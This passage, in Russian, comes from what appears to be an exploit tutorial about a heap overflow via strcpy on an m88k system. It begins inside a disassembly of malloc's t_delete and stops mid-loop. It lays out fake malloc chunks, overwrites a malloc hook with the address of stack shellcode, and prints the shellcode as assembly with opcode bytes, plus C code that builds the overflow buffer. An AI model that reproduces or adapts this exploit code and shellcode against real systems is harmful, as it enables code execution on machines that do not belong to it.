0x8006064c : ld r13,r10,0x30 0x80060650 : st r10,r13,0x10 0x80060654 : br 0x80060658 : tb1 0x01,r0,0xff 0x8006065c : ld r10,r24,0x30 0x80060660 : bcnd eq0,r10, 0x80060664 : st r0,r10,0x10 0x80060668 : ld r13,r25,0x450 0x8006066c : st r10,r0,r13 0x80060670 : ld r1,r31,0x30 0x80060674 : ld.d r24,r31,0x28 0x80060678 : jmp.n r1 0x8006067c : addu r31,r31,0x40 ----------------------------------------------------------- end of t_delete.S Вопрос что писать мы вроде бы решили - адрес стека с шелкодом. Осталось решить куда. .plt таблица нам не подойдет, так как адресация всех сегментов кода начинается с нулей, которые естественно все попортят в данном случае (напомню, что мы имеем дело с strcpy). Как записать адрес,начинающийся с нулей,мне в голову не пришло, если кто знает свяжитесь со мной. Кстати именно по этой причине мы и выбрали размещение шеллкода в стеке. Вот тут на помощь приходят уже упомянутые malloc хуки. Также достоинством этих хуков является то, что они находятся прямо в malloc, и это значит, что нам не придется бродить по коду вычищая bus_error'ы и обращения к несуществующей памяти. Недостаток зависимость от libc, но это не очень страшно по причине того, что адрес, по которому должен хранится хук, можно очень примитивно вытащить из самой libc.so - как он вычисляется, смотрите в описании маллока. Ну теперь попробуем обобщить, что же нам надо в конце концов сделать. 1) Найти уже работающий последний чанк. например 0x0011d3c8 2) Найти размер выполняемого программой маллока.Например 0x400 и создать по адресу (0x0011d3c8 + 0x400 + 0x10) чанк с длинной малого отрицательного числа (это не обязательно кстати, но чем меньше памяти мы используем для переполнения тем спокойнее на душе) // BB chank с которым будет работать программа при малоке. // BB = 0x0011d3c8 + 0x400 + 0x10 // STARTEVIL - OUR VICTIM (см. начало статьи) unsigned int STARTEVIL=0x0011ee50; FIRSTCH=BB-0x410; CHANKINF=STARTEVIL; EVILCH=STARTEVIL+0x400-BB; Я рассчитывал длину так, чтобы оказаться прямо в начале перезаписываемой мною памяти. 3) Создаем чанк который как бы является в середине списка (нужно для t_delete) но его необходимо убить. unsigned int EVILCH40=0x800aca28; // LOOK at *(.got+0x24)+0x08+0x10 unsigned int EVILCH10=0xeffffeec; // SP unsigned int EVILCH0=0xFFFFFFC0; // Помечаем, что чанк надо удалять unsigned int EVILCH20=0xFFFFFFFF; // На всякий случай (какие то биты // отсюда используются и должны быть // 1) memcpy(evil+FIRSTCH-STARTEVIL,&EVILCH,4); memcpy(evil+CHANKINF-STARTEVIL,&EVILCH0,4); memcpy(evil+CHANKINF-STARTEVIL+0x10,&EVILCH10,4); memcpy(evil+CHANKINF-STARTEVIL+0x20,&EVILCH20,4); memcpy(evil+CHANKINF-STARTEVIL+0x40,&EVILCH40,4); 4) Пишем шеллкод. text align 8 global main main: subu r30,r31,0x114 ; 67 df 01 14 or.u r10,r0,0x2f74 ; 5d 40 2f 74 or r11,r10,0x6d70 ; 59 6a 6d 70 or.u r12,r0,0x2f73 ; 5d 80 2f 73 or r13,r12,0x6944 ; 59 ac 69 44 subu r13,r13,0x144 ; 65 ad 01 44 st r11,r30,0x110 ; 25 7e 01 10 st r13,r30,0x114 ; 25 be 01 14 addu r2,r30,0x110 ; 60 5e 01 10 st r2,r30,0x108 ; 24 5e 01 08 st r0,r30,0x10c ; 24 1e 01 0c addu r3,r30,0x108 ; 60 7e 01 08 addu r4,r30,0x108 ; 60 9e 01 08 or r9,r0,0x109 ; 59 20 01 09 subu r9,r9,0x101 ; 65 29 01 01 tb0 0,r1,0x1c2 ; f0 01 d1 c2 Шелкод написан, скорее всего, bawd'ом, хотя возможно,что сгенерировался сам по себе :) 5) обрамляем его jump. mydecome=-(short)((sizeof(shell)-1)/4);mydecome++; for (i=EVILSIZE-SHOFF+INC+sizeof(shell)-1;i